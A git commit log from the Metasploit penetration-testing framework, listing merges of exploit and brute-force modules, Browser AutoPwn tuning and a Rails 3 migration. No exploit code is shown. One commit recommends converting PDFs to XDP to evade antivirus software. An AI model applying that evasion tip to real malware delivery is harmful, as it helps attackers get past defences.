sinn3r ecd7762df9 Merge branch 'shadow-exploit-module' of https://github.com/b0telh0/metasploit-framework into b0telh0-shadow-exploit-module 2012-04-24 15:30:09 -05:00
sinn3r c27195b189 Merge pull request #347 from wchen-r7/wol
Add wake-on-lan module
2012-04-24 11:50:05 -07:00
sinn3r 5bf5e8888d Minor changes 2012-04-24 13:48:45 -05:00
sinn3r e57ba79402 Merge branch 'cve-2012-0158_mscomctl_bof' of https://github.com/juanvazquez/metasploit-framework into juanvazquez-cve-2012-0158_mscomctl_bof 2012-04-24 13:46:24 -05:00
HD Moore ac6247963c Fix a missing require 2012-04-24 11:54:07 -05:00
sinn3r 4c72193922 Fix undefined method `[something]' for nil:NilClass 2012-04-24 01:46:03 -05:00
HD Moore a261adaaea Fix broken comparison 2012-04-23 23:06:52 -05:00
HD Moore 5282f9fd0a Update MDM 2012-04-23 22:21:13 -05:00
HD Moore 0e4593ce5b Purge the NoteSerializer and switch to Base64, have Base64 use the old format as well 2012-04-23 22:20:41 -05:00
HD Moore 0a0f5459b4 Version bump 2012-04-23 22:01:42 -05:00
HD Moore bfbfc19116 Cosmetic 2012-04-23 21:59:44 -05:00
HD Moore e8ac6521d1 Cosmetic 2012-04-23 21:59:09 -05:00
HD Moore 3d24af8fd6 Add the fixed nokogiri gems (corrected rpath) 2012-04-23 19:00:10 -05:00
David Maloney 680e92968a Fixes some msyql issues by forcing read/write timepouts on the
connection object
Fixes #6297
2012-04-23 18:44:14 -05:00
HD Moore 86a1a58d2c Fixes #6689 by moving to 7za which is included in the installer 2012-04-23 16:25:24 -05:00
juan cca97f2989 added module for CVE-2012-0158 2012-04-23 22:59:25 +02:00
sinn3r 90a7458b56 Lower the rank a little to favor other modules in BAP 2012-04-23 15:15:08 -05:00
HD Moore 206018c8a3 Patched with a small tweak to avoid a raise 2012-04-23 14:58:25 -05:00
HD Moore f6005ba06e Permission change, ignore 2012-04-23 13:42:18 -05:00
HD Moore a0815223e8 Patch this with a newer/manually built extension 2012-04-23 13:41:56 -05:00
HD Moore efc589c1e2 Fix up Net::HTTP usage so that it works with newer ruby as well 2012-04-23 03:53:50 -05:00
HD Moore a1f9d2c27a Bump up the wait_timeout (works with the recent AR patch) and fix a typo in the http_version commit 2012-04-23 02:44:56 -05:00
HD Moore 59ecc8584d Force http_version to always make a new request, even if the information is in the DB 2012-04-23 02:39:02 -05:00
HD Moore a6787106a5 This ports two active_record patches over that deal with database thread pooling 2012-04-23 02:37:47 -05:00
James Lee b3dec4d183 Require pg >=0.13 2012-04-22 21:49:15 -06:00
James Lee 08dc8364ce Adjust Gemfile to reflect real dependencies 2012-04-22 21:38:56 -06:00
HD Moore 5302c83db9 Remove extranenous .so files (ext not lib) 2012-04-22 21:30:05 -05:00
Leonardo Botelho 66ecf28451 Shadow stream recorder exploit. 2012-04-22 19:19:40 -03:00
HD Moore 1d2581ebf4 Cosmetic 2012-04-21 14:51:20 -05:00
sinn3r b0a76a1aa1 Add wake-on-lan module 2012-04-21 03:29:49 -05:00
James Lee 9cdd8912c5 Remove spurious cli.peerhost in output 2012-04-20 13:31:42 -06:00
sinn3r 37e75dc644 Make this description a little more sense 2012-04-20 12:25:51 -05:00
James Lee 6cb0fe9fbf Use the framework thread spawner instead of Rex
Not sure why this was Rex before, changed for consistency and to avail
of the ActiveRecord connection release code recently added to the
framework version.
2012-04-20 01:13:12 -06:00
sinn3r b955569b10 Update the use of get2() in order to support ruby 1.9.3 2012-04-20 01:37:24 -05:00
James Lee 6d0e4fba5e Go ahead and wrap the db commands as well.
Most of this probably isn't necessary, but better safe than sorry.
2012-04-19 23:53:00 -06:00
James Lee 29e01760f0 Wrap more database usage in with_connection block 2012-04-19 23:51:20 -06:00
James Lee d79f8b0492 Add with_connection wrappers to the database rpc calls
Certainly not all of these methods require a connection, but it is
better to check one out when we don't need it than to risk grabbing an
implicit connection that will never be handed back to the pool.
2012-04-19 22:58:24 -06:00
sinn3r c68a775106 Fix EDB references 2012-04-19 23:53:32 -05:00
David Maloney 5db3e5aa34 Fixes some issues with the nexpose integration library
Should now work for all cases
2012-04-19 23:04:14 -05:00
sinn3r 12bf301d2b Correct file name 2012-04-19 21:17:19 -05:00
sinn3r 05459ca3ff Change module description 2012-04-19 21:17:19 -05:00
sinn3r 072faa65ec Massive code cleanup 2012-04-19 21:17:19 -05:00
sinn3r 93134e6fd2 Change default target 2012-04-19 21:17:19 -05:00
unknown 47ecd36805 Implemented Changes suggested by wchen-r7 (sinn3r) 2012-04-19 21:17:19 -05:00
unknown feb625cab0 Updated module 2012-04-19 21:17:19 -05:00
unknown 8caec4777f TFTPserverST addition 2012-04-19 21:17:18 -05:00
Tod Beardsley d33cd386a8 Merge pull request #340 from rsmudge/armitage
fix a compatability issue with latest msf changes.
2012-04-19 17:50:43 -07:00
Alexander Klink 8c06e0d46e Squashed commit of the following:
commit 5c82f0acade617d8314858170752c498eac4b4fb
Author: Alexander Klink <git@alech.de>
Date:   Thu Apr 19 20:57:21 2012 +0200

    pdf2xdp.rb script to convert PDF file to XDP format

    XDP is an equivalent format for PDF, but is pretty useful in evading AV
    software.

    See
    https://www.metasploit.com/redmine/issues/3679
    http://shiftordie.de/blog/2011/02/09/evading-avs-using-the-xml-data-package-xdp-format/

[Closes #345]
2012-04-19 18:27:18 -06:00
sinn3r 93390fa6e2 Fix metadata and some cosmetic stuff 2012-04-19 19:12:27 -05:00
sinn3r bce6c9abcf Verify checksum to avoid jumping to a corrupt payload 2012-04-19 18:52:43 -05:00
sinn3r ae7c2acf9d Merge branch 'xradio-exploit-module' of https://github.com/b0telh0/metasploit-framework into b0telh0-xradio-exploit-module 2012-04-19 18:09:20 -05:00
sinn3r 9a00823828 Merge branch '0a2940-CVE-2008-5499_adobe_flashplayer_aslaunch' 2012-04-19 18:08:22 -05:00
sinn3r f5e8f57497 Minor fixes 2012-04-19 18:07:35 -05:00
James Lee 06b3ed2e13 Add with_connection wrappers to the methods I missed 2012-04-19 15:45:23 -06:00
James Lee 876c59b192 Make use of the new ActiveRecord 3.x concurrency contract
All Database usage must go through framework.db (which should have been
the case before, anyways) or explicitly checkout and checkin a
connection.  Failure to do so causes thread starvation and bizarre
random failures when attempting to use the database.

This commit also explicitly releases database connections at the end of
all threads created via framework.threads.spawn, which should alleviate
Deprecation Warning messages from ActiveRecord.

[Fixes #6613]
2012-04-19 14:21:21 -06:00
sinn3r 8d1d63dda8 Correct OSVDB reference, thanks modpr0be 2012-04-19 12:04:11 -05:00
sinn3r 45997b8dd4 Fix typos 2012-04-19 10:54:05 -05:00
sinn3r 37f4e7b3b9 Fix bug #6714, thanks Scott 2012-04-19 10:22:31 -05:00
Tod Beardsley 8edf3fc8bd Service info shouldn't be blanked if it exists.
Check service.info at the end of reporting a service instead of the
beginning. This will preserve an existing service info in the event
we're re-reporting a service.

[See #6701]
2012-04-19 09:47:41 -05:00
Tod Beardsley ce3d98bc88 vcms_login.rb description 2012-04-19 07:44:28 -05:00
sinn3r 5fde6b759f Add VCMS brute-force module 2012-04-19 02:25:03 -05:00
sinn3r 81b6e76619 Correct CVE/OSVDB/BID references, thanks Chad. 2012-04-19 00:24:56 -05:00
sinn3r 946ab1514e Correct module naming style 2012-04-18 20:45:25 -05:00
sinn3r 1065111817 Correct TARGETURI description 2012-04-18 18:57:37 -05:00
sinn3r 7071c30b4b These modules don't really print anything out with print_status(), which makes it weird to look now that we've implemented egypt's output style changes 2012-04-18 16:07:41 -05:00
sinn3r 0e45b6c06c Avoid printing ip:port twice 2012-04-18 16:01:10 -05:00
James Lee 1f577b24b2 Merge branch 'rapid7' into http-print-standardization 2012-04-18 08:51:42 -06:00
sinn3r f3ebe284ca Minor cosmetic changes 2012-04-18 02:38:25 -05:00
sinn3r 15539c633b Merge branch 'chap0-gsm' of https://github.com/chap0/metasploit-framework into chap0-chap0-gsm 2012-04-18 02:32:42 -05:00
sinn3r e52f40daf1 Cosmetic changes 2012-04-18 02:25:43 -05:00
sinn3r 01beddc609 Merge branch 'cyberlink' of https://github.com/mrmee/metasploit-framework into mrmee-cyberlink
Conflicts:
	modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb
2012-04-18 02:03:59 -05:00
sinn3r 862869e4f2 Strip ms03_020_ie_objecttype from Browser AutoPwn because:
1. We have newer browser modules that can replace it, and already do.
2. It uses an egghunter that we don't favor in BAP
3. It uses system addresses, which we no longer favor.
2012-04-17 22:26:14 -05:00
sinn3r 120f2e5795 Merge pull request #341 from jlee-r7/bap-refactor
Fix an issue where ie_createobject and others weren't getting tried
2012-04-17 20:14:20 -07:00
James Lee a2dc890cfa Don't puke if the connection came from localhost 2012-04-17 19:49:42 -06:00
James Lee f9b2fe89b2 Merge branch 'rapid7' into http-print-standardization
Conflicts:
	modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb
	modules/exploits/windows/browser/apple_quicktime_rtsp.rb
	modules/exploits/windows/browser/apple_quicktime_smil_debug.rb
2012-04-17 19:15:06 -06:00
James Lee afe28523f3 Puts testAXO() on window so we can access it from anywhere
Also uses the new :method property which allows an array syntax.  See
ie_createobject for a usage example.
2012-04-17 18:54:26 -06:00
James Lee f9a48ace48 Switch to using :method, see previous commit 2012-04-17 18:48:14 -06:00
James Lee 741de34d92 Add a :method property for autopwn_info
Replaces the previous overloading of :vuln_test
2012-04-17 18:32:11 -06:00
James Lee eedf4520be Merge branch 'rapid7' into bap-refactor 2012-04-17 16:20:11 -06:00
James Lee c83f2460c5 Use framework's db wrapper instead of Mdm directly 2012-04-17 16:12:25 -06:00
sinn3r 0fccc67774 Add MS12-004 to BAP 2012-04-17 16:40:32 -05:00
sinn3r 02c3b7df7a 'cli' should be 'client' 2012-04-17 07:13:17 -05:00
sinn3r 1a0c8e5d42 'cli' should be 'client' 2012-04-17 07:12:08 -05:00
sinn3r dd7caa5186 'cli' should be 'client' 2012-04-17 07:10:32 -05:00
Tod Beardsley 2aba65f82d Fixes importing metasploit.xml exports with tags.
New Rails3 magic now actually exercised.
2012-04-17 01:06:40 -05:00
James Lee c3a86eef66 Declare warn_about_rubies as a class method
Since that's how it's being called.  Also, define it before calling it.
2012-04-16 23:25:04 -06:00
James Lee 3116f66d4d MDM update
[Fixes #6649]
2012-04-16 23:22:57 -06:00
Raphael Mudge db02a8f582 fix a compatability issue with latest msf changes. 2012-04-17 01:04:12 -04:00
James Lee cdd130d7ad Fix an overzealous refactoring change
::Mdm::Export doesn't exist, Export is a utility class under
::Msf::DBManager.

[Fixes #6647]
2012-04-16 21:53:05 -06:00
HD Moore 12102b9adc Close any open connections if the thread happens to have one when it finishes.
Partial bandaid for new AR pool mgmt methods
2012-04-16 21:50:26 -05:00
Tod Beardsley 362e80dc41 Warn about incompatible Rubies.
Also encourage users to use RVM to upgrade, because RVM is the
awesomest.
2012-04-16 21:13:31 -05:00
Tod Beardsley 27ed06f8e0 Use an exponential function for session grabbing
Ensures that the retries have a backoff time, not just 10 half second
pauses. Makes for a more forgiving environment for post modules.

[See #6638]
2012-04-16 20:56:55 -05:00
James Lee bea5d04871 Whitespace and rdoc cleanup 2012-04-16 19:34:21 -06:00
HD Moore e0dcf85a0e Cleanup overall, fix issue with ambiguous id column in order clause 2012-04-16 17:41:39 -05:00
Tod Beardsley 5366e58e72 Merge pull request #336 from rsmudge/armitage
Armitage 04.16.12 - a few small improvements.
2012-04-16 13:31:02 -07:00
sinn3r a8eada6016 This module should be able to support more payloads 2012-04-16 14:43:36 -05:00
sinn3r edadc19757 This module should be able to support more payloads than it should be 2012-04-16 14:41:11 -05:00
James Lee a957a68d65 Rebuild meterpreter.jar after changes from #303
Basically just to make sure I didn't hose it in my confusion with git's
conflict resolution.
2012-04-16 13:16:38 -06:00
James Lee 15913dd92c Squashed commit of the following:
commit 97755336f2227a7db668b61e548d2956dddaccb8
Author: Michael Schierl <schierlm@gmx.de>
Date:   Thu Apr 5 22:33:40 2012 +0200

    make sure PayloadTrustManager gets dropped when using Spawn > 0

commit 0d096043e23af5d46a20b7f2c30c5d926ff66f8d
Author: Michael Schierl <schierlm@gmx.de>
Date:   Wed Apr 4 22:15:23 2012 +0200

    Fix connection hangs when using java/meterpreter/reverse_https with recent Java versions

    Reason is that Java thinks the SSL certificate presented by Metasploit is untrusted;
    therefore add a hack similar to the one in the metasploit.Payload class to trust all
    certificates here.

[Closes #303]
2012-04-16 13:15:33 -06:00
James Lee b1dbb50953 Squashed commit of the following:
commit 2b24a5e93d
Author: scriptjunkie <scriptjunkie@scriptjunkie.us>
Date:   Sun Apr 15 22:01:23 2012 -0500

    Document HTTPS options for Proxy

commit 24a8635b96
Author: scriptjunkie <scriptjunkie@scriptjunkie.us>
Date:   Sun Apr 15 21:52:47 2012 -0500

    Document HTTPS options

[Closes #337]
2012-04-16 12:57:03 -06:00
sinn3r 1e2203867c Repair 'no encoders encoded the buffer successfully' issues 2012-04-16 13:43:25 -05:00
Michael Schierl eedd7be453 Squashed commit of the following:
commit 9afece529a33739a088c9c4d10b76dd52f23b99e
Author: Michael Schierl <schierlm@gmx.de>
Date:   Thu Apr 12 17:58:12 2012 +0200

    fix cat ... command by making stdapi_fs_stat return a sensible result

[Closes #330]
2012-04-16 12:24:54 -06:00
James Lee 4181fd9709 Add support for EXE::Custom in EncodedPayload#encoded_exe
Fixes an issue with java_signed_applet (and probably others) not
honoring EXE::Custom settings.
2012-04-16 12:09:25 -06:00
James Lee 3e0747f5d2 Randomize guid and payload filename 2012-04-16 12:09:25 -06:00
James Lee 57ecc29b31 Add a rand_guid method for generating GUIDs 2012-04-16 12:09:25 -06:00
Tod Beardsley bac659339b Merge pull request #339 from rapid7/model-fixes
Fixes a stack trace when deleting files
2012-04-16 10:53:42 -07:00
Tod Beardsley 7caf3a0159 Lift a migration from Pro -- workspace_members
Should have landed here initially anyway.
2012-04-16 12:45:05 -05:00
Tod Beardsley ef762c5d57 Delete files locally, not over RPC.
In the event we're just msfconsole.
2012-04-16 11:39:59 -05:00
Tod Beardsley 4b943c8769 RPC calls in the models should be wrapped
Sometimes we're not talking RPC, and the model shouldn't stack trace in
those cases.
2012-04-16 11:03:23 -05:00
Tod Beardsley 4bcbdc54c9 Cutting over rails3 to master.
This switches the Metasploit Framework to a Rails 3 backend. If you run
into new problems (especially around Active Record or your postgresql
gem) you should try first updating your Ruby installation to 1.9.3 and
use a more recent 'pg' gem.

If that fails, we'd love to see your bug report (just drop all the
detail you can into an issue on GitHub). In the meantime, you can
checkout the rails2 branch, which was branched from master immediately
before this cutover.

Squashed commit of the following:

commit 5802ec851580341c6717dfea529027c12678d35f
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 23:30:12 2012 -0500

    Enable MSF_BUNDLE_GEMS mode by default (set to N/F/0 to disable)

commit 8102f98dce9eb0c73c4374e40dce09af7b51d060
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 23:30:03 2012 -0500

    Add a method to expand win32 file paths

commit bda6479d154cf75572dd5de8b66bfde661a55de9
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 18:53:44 2012 -0500

    Fix 1.8.x compatibility

commit 101ce4eb17bfdf755ef8c0a5198174668b6cd6fd
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 18:40:59 2012 -0500

    Use verbose instead of stringio

commit 5db467ffb593488285576d183b1662093e454b3e
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 18:30:06 2012 -0500

    Hide the iconv warning, were stuck with it due to EBCDIC support

commit 63b9cb20eb6a61daf4effb4c8d2761c16ff0c4e0
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 18:29:58 2012 -0500

    Dont use GEM_HOME by default

commit ca49271c22c314a4465fff934334df18c704cbc0
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 18:23:34 2012 -0500

    Move Gemfile to root (there be dragons, lets find them) and catch failed bundler loads

commit 34af04076a068e9f60c5526045ddbba5fca359fd
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 18:18:29 2012 -0500

    Fallback to bundler when not running inside of a installer env

commit ed1066a4f3f12fae7d4afc03eb1ab70ffe2f9cf3
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 16:26:55 2012 -0500

    Remove a mess of gems that were not actually required

commit 21290a73926809e9049a59359449168f740d13d2
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 15:59:10 2012 -0500

    Hack around a gem() call that is well-intentioned but an obstacle in this case

commit 8e414a8bfab9641c81088d22f73033be5b37a700
Author: Tod Beardsley <todb@metasploit.com>
Date:   Sun Apr 15 15:06:08 2012 -0500

    Ruby, come on. Ducktype this. Please.

    Use interpolated strings to get the to_s behavior you don't get with
    just plussing.

commit 0fa92c58750f8f84edbecfaab72cd2da5062743f
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 15:05:42 2012 -0500

    Add new eventmachine/thin gems

commit 819d5e7d45e0a16741d3852df3ed110b4d7abc44
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 15:01:18 2012 -0500

    Purge (reimport in a second)

commit ea6f3f6c434537ca15b6c6674e31081e27ce7f86
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 14:54:42 2012 -0500

    Cleanup uncessary .so files (ext vs lib)

commit d219330a3cc563e9da9f01fade016c9ed8cda21c
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 14:53:02 2012 -0500

    PG gems built against the older installation environment

commit d6e590cfa331ae7b25313ff1471c6148a6b36f3b
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 14:06:35 2012 -0500

    Rename to include the version

commit a893de222b97ce1222a55324f1811b0262aae2d0
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 13:56:47 2012 -0500

    Detect older installation environments and load the arch-lib directories into the search path

commit 6444bba0a421921e2ebe2df2323277a586f9736f
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 13:49:25 2012 -0500

    Merge in windows gems

commit 95efbcfde220917bc7ee08e6083d7b383240d185
Author: Tod Beardsley <todb@metasploit.com>
Date:   Sun Apr 15 13:49:33 2012 -0500

    Report_vuln shouldn't use :include in finder

    find_or_create_by doesn't take :include as a param.

commit c5f99eb87f0874ef7d32fa42828841c9a714b787
Author: David Maloney <DMaloney@rapid7.com>
Date:   Sun Apr 15 12:44:09 2012 -0500

    One more msised Mdm namespace issue

commit 2184e2bbc3dd9b0993e8f21d2811a65a0c694d68
Author: David Maloney <DMaloney@rapid7.com>
Date:   Sun Apr 15 12:33:41 2012 -0500

    Fixes some mroe Mdm namespace confusion
    Fixes #6626

commit 10cee17f391f398bb2be3409137ff7348c7a66ee
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 03:40:44 2012 -0500

    Add robots gem (required by webscan)

commit 327e674c83850101364c9cca8f8d16da1de3dfb5
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 03:39:05 2012 -0500

    Fix missing error checks

commit a5a24641866e47e611d7636a3f19ba3b3ed10ac5
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 01:15:37 2012 -0500

    Reorder requires and add a method for injecting a new migration path

commit 250a5fa5ae8cb05807af022aa4168907772c15f8
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 00:56:09 2012 -0500

    Remove missing constant (use string) and add gemcache cleaner

commit 37ad6063fce0a41dddedb857fa49aa2c4834a508
Merge: d47ee82 4be0361
Author: Tod Beardsley <todb@metasploit.com>
Date:   Sun Apr 15 00:40:16 2012 -0500

    Merge branch 'master-clone' into rails3-clone

commit d47ee82ad7e66de53dd3d3a65649cc37299a2479
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 00:30:03 2012 -0500

    cleanup leftovers from gems

commit 6d883b5aa8a3a7ddbcde5bfd4521d57c5b30d3c2
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sun Apr 15 00:25:47 2012 -0500

    MDM update with purged DBSave module

commit 71e4f2d81f6da221b76150562a16c730888f5925
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 23:19:37 2012 -0500

    Add new mdm

commit 651cd5adac8211d65e0c8079371d8264e549533a
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 23:19:13 2012 -0500

    Update mdm

commit 0191a8bd0acec30ddb2a9e9c291111a12378537f
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 22:30:40 2012 -0500

    This fixes numerous cases of missed Mdm:: prefixes on db objects

commit a2a9bb3f2148622c135663dead80b3367b6f7695
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 18:30:18 2012 -0500

    Add eventmachine

commit 301ddeb12b906ed3c508613ca894347bedc3b499
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 18:18:12 2012 -0500

    A nicer error for folks who need to upgrade pg

commit fa6bde1e67b12e2d3d9978f59bbc98e0c1a1a707
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 17:54:55 2012 -0500

    Remove bundler requirements

commit 2e3ab9ed211303f1116e602b9a450141b71e56a4
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 17:35:38 2012 -0500

    Pull in eventmachine with actual .so's this time

commit 901fb33ff6b754ce2c2cfd51e3b0b669f6ec600b
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 17:19:12 2012 -0500

    Update deps, still need to add eventmachine

commit 6b0e17068e8caa0601f3ef81e8dbdb672758fcbe
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 13:07:06 2012 -0500

    Handle older installer environments and only allow binary gems when the
    environment specifically asks for it

commit b98eb7873a6342834840424699caa414a5cb172a
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 04:05:13 2012 -0500

    Bump version to -testing

commit 6ac508c4ba3fdc278aaf8cfe2c58d01de3395431
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 02:25:09 2012 -0500

    Remove msf3 subdir

commit a27dac5067635a95b4cbb773df1985f2a2dc2c5a
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 02:24:39 2012 -0500

    Remove the old busted external

commit 5fb5a0fc642b6c301934c319db854cc3145427a1
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 02:03:10 2012 -0500

    Add the gemcache loader

commit 09e2d89dfd09b9ac0c123fcc4e19816c86725627
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Apr 14 02:02:23 2012 -0500

    Purge gemfile/bundler configure in exchange for new gemcache setup

commit 3cc0264e1cfb027b515d7f24b95a74b023bd905c
Author: Tod Beardsley <todb@metasploit.com>
Date:   Thu Apr 12 14:11:45 2012 -0500

    Mode change on modicon_ladder.apx

commit c18b3d56efd639e461137acdc76b4b283fe978d4
Author: HD Moore <hd_moore@rapid7.com>
Date:   Thu Apr 12 01:38:56 2012 -0500

    The go faster button

commit ca2a67d51d6d4c7c3ca2e745f8b018279aef668a
Merge: 674ee09 b8129f9
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon Apr 9 15:50:33 2012 -0500

    Merge branch 'master-clone' into rails3-clone

    Picking up Packetfu upstream changes, all pretty minor

commit 674ee097ab8a6bc9608bf377479ccd0b87e7302b
Merge: e9513e5 a26e844
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon Apr 9 13:57:26 2012 -0500

    Merge branch 'master-clone' into rails3-clone

    Conflicts:
    	lib/msf/core/handler/reverse_http.rb
    	lib/msf/core/handler/reverse_https.rb
    	modules/auxiliary/scanner/discovery/udp_probe.rb
    	modules/auxiliary/scanner/discovery/udp_sweep.rb

    Resolved conflicts with the reverse_http handlers and the udp probe /
    scanners byt favoring the more recent changes (which happened to be the
    intent anyway). The reverse_http and reverse_https changes were mine so
    I know what the intent was, and @dmaloney-r7 changed udp_probe and
    udp_sweep to use pcAnywhere_stat instead of merely pcAnywhere, so the
    intent is clear there as well.

commit e9513e54f984fdb100c13b44a1724246779ccb76
Author: David Maloney <dmaloney@melodie.gateway.2wire.net>
Date:   Fri Apr 6 18:21:46 2012 -0500

    Some fixes to how services get reported to prevent issues with the web interface

commit adeb44e9aaf1a329a0e587d2b26e678398730422
Author: David Maloney <David_Maloney@rapid7.com>
Date:   Mon Apr 2 15:39:46 2012 -0500

    Some corrections to pcAnywhere discovery modules to distinguish between the two services

commit b13900176484fea8f5217a2ef925ae2ad9b7af47
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Mar 31 12:03:21 2012 -0500

    Enable additional migration-path parameters, use a temporary directory to bring the database online

commit 526b4c56883f461417f71269404faef38639917c
Author: David Maloney <David_Maloney@rapid7.com>
Date:   Wed Mar 28 23:24:56 2012 -0500

    A bunch of Mdsm fixes for .kind_of? calls, to make sure we ponit to the right place

commit 2cf3143370af808637d164ce59400605300f922c
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Mar 26 16:22:09 2012 -0500

    Check for ruby 2.0 as well as 1.9 for encoding override

commit 4d0f51b76d89f00f7acbce6b1f00dc6e4c4545ee
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Mar 26 15:36:04 2012 -0500

    Remove debug statement

commit f5d2335e7745aa1a354f4d6c8fc9d0b3876c472a
Author: HD Moore <hd_moore@rapid7.com>
Date:   Mon Mar 26 15:01:55 2012 -0500

    Be explicit about the Mdm namespace

commit bc8be225606d6ea38dd2a85ab4310c1c181a94ee
Author: hdm <hdm@hypo.(none)>
Date:   Mon Mar 26 11:49:51 2012 -0500

    Precalculate some uri strings in case the 1000-round generation fails

commit 4254f419723349ffb93e4aebdaeabbd7d66bf8c0
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Sat Mar 24 14:03:44 2012 -0500

    Removed some non-namespaced calls to Host

commit c8190e1bb8ad365fb0d7a1c4a9173e6c739be85c
Author: HD Moore <hd_moore@rapid7.com>
Date:   Tue Mar 20 00:37:00 2012 -0500

    Purge the rvmrc, this is causing major headaches

commit 76df18588917b7150a3bedf2569710a80bab51f8
Author: HD Moore <hd_moore@rapid7.com>
Date:   Tue Mar 20 00:31:52 2012 -0500

    Switch .rvmrc to the shipping 1.9.3 version

commit 7124971d00
Author: David Maloney <David_Maloney@rapid7.com>
Date:   Mon Mar 12 16:56:40 2012 -0500

    Adds mixin for looking up Mime Types by extension

commit b7ca835316
Merge: a0b0c75 6b9a219
Author: Matt Buck <techpeace@gmail.com>
Date:   Tue Mar 6 19:38:53 2012 -0600

    Merge from develop.

commit a0b0c7528d
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Tue Mar 6 11:08:59 2012 -0600

    Somehow migration file is new?

commit 84d2b3cb1a
Author: David Maloney <David_Maloney@rapid7.com>
Date:   Wed Feb 29 16:38:55 2012 -0600

    Added ability to specify headers to redirects in http server

commit e50d27cda8
Author: HD Moore <hd_moore@rapid7.com>
Date:   Sat Feb 4 04:44:50 2012 -0600

    Tweak the event dispatcher to enable customer events without a category
    and trigger http request events from the main exploit mixin.
    Experimental

commit 0e4fd2040d
Author: Matt Buck <Matthew_Buck@rapid7.com>
Date:   Thu Feb 2 22:09:05 2012 -0600

    Change Msm -> Mdm in migrations. This is what was preventing migrations from finishing on first boot.

commit c94a2961d0
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Wed Feb 1 12:48:48 2012 -0600

    Changed Gemfile to use new gem name

commit 245c2063f0
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Wed Feb 1 12:47:42 2012 -0600

    Did find/replace for final namespace of Mdm

commit 6ed9bf8430
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Tue Jan 24 10:47:44 2012 -0600

    Fix a bunch of namespace issues

commit 2fe08d9e42
Author: Matt Buck <Matthew_Buck@rapid7.com>
Date:   Fri Jan 20 14:37:37 2012 -0600

    Update Msm contstants in migrations for initial DB builds.

commit 4cc6b8fb04
Author: Matt Buck <Matthew_Buck@rapid7.com>
Date:   Fri Jan 20 14:37:25 2012 -0600

    Update Gemfile.lock.

commit 1cc655b678
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Thu Jan 19 11:48:29 2012 -0600

    Errant Workspaces needed namespace

commit 607a782855
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Tue Jan 17 15:44:02 2012 -0600

    Refactored all models to use the new namespace

    * Every model using DBManager::* namespace is now Msm namespace
    * Almost all of this in msf/base/core
    * Some in modules

commit a690cd959b
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Tue Jan 17 13:41:44 2012 -0600

    Move bundler setup

commit dae115cc8f
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Mon Jan 9 15:51:07 2012 -0600

    Moved ActiveSupport dep to gem

commit d32f8edb6e
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Mon Jan 9 14:40:05 2012 -0600

    Removed model require file

commit d0c74cff8c
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Tue Jan 3 16:06:10 2012 -0600

    Update some more finds

commit 4eb79ea6b5
Author: Trevor Rosen <Trevor_Rosen@rapid7.com>
Date:   Tue Jan 3 14:21:15 2012 -0600

    Yet another dumb commit

commit a75febcb59
Author: Trevor Rosen <trevor@catapult-creative.com>
Date:   Thu Dec 29 19:20:51 2011 -0600

    Fixing deletion

commit dc139ff2fd
Author: Trevor Rosen <trevor@catapult-creative.com>
Date:   Wed Dec 7 17:06:45 2011 -0600

    Fixed erroneous commit

commit 531c1e611c
Author: Trevor Rosen <trevor@catapult-creative.com>
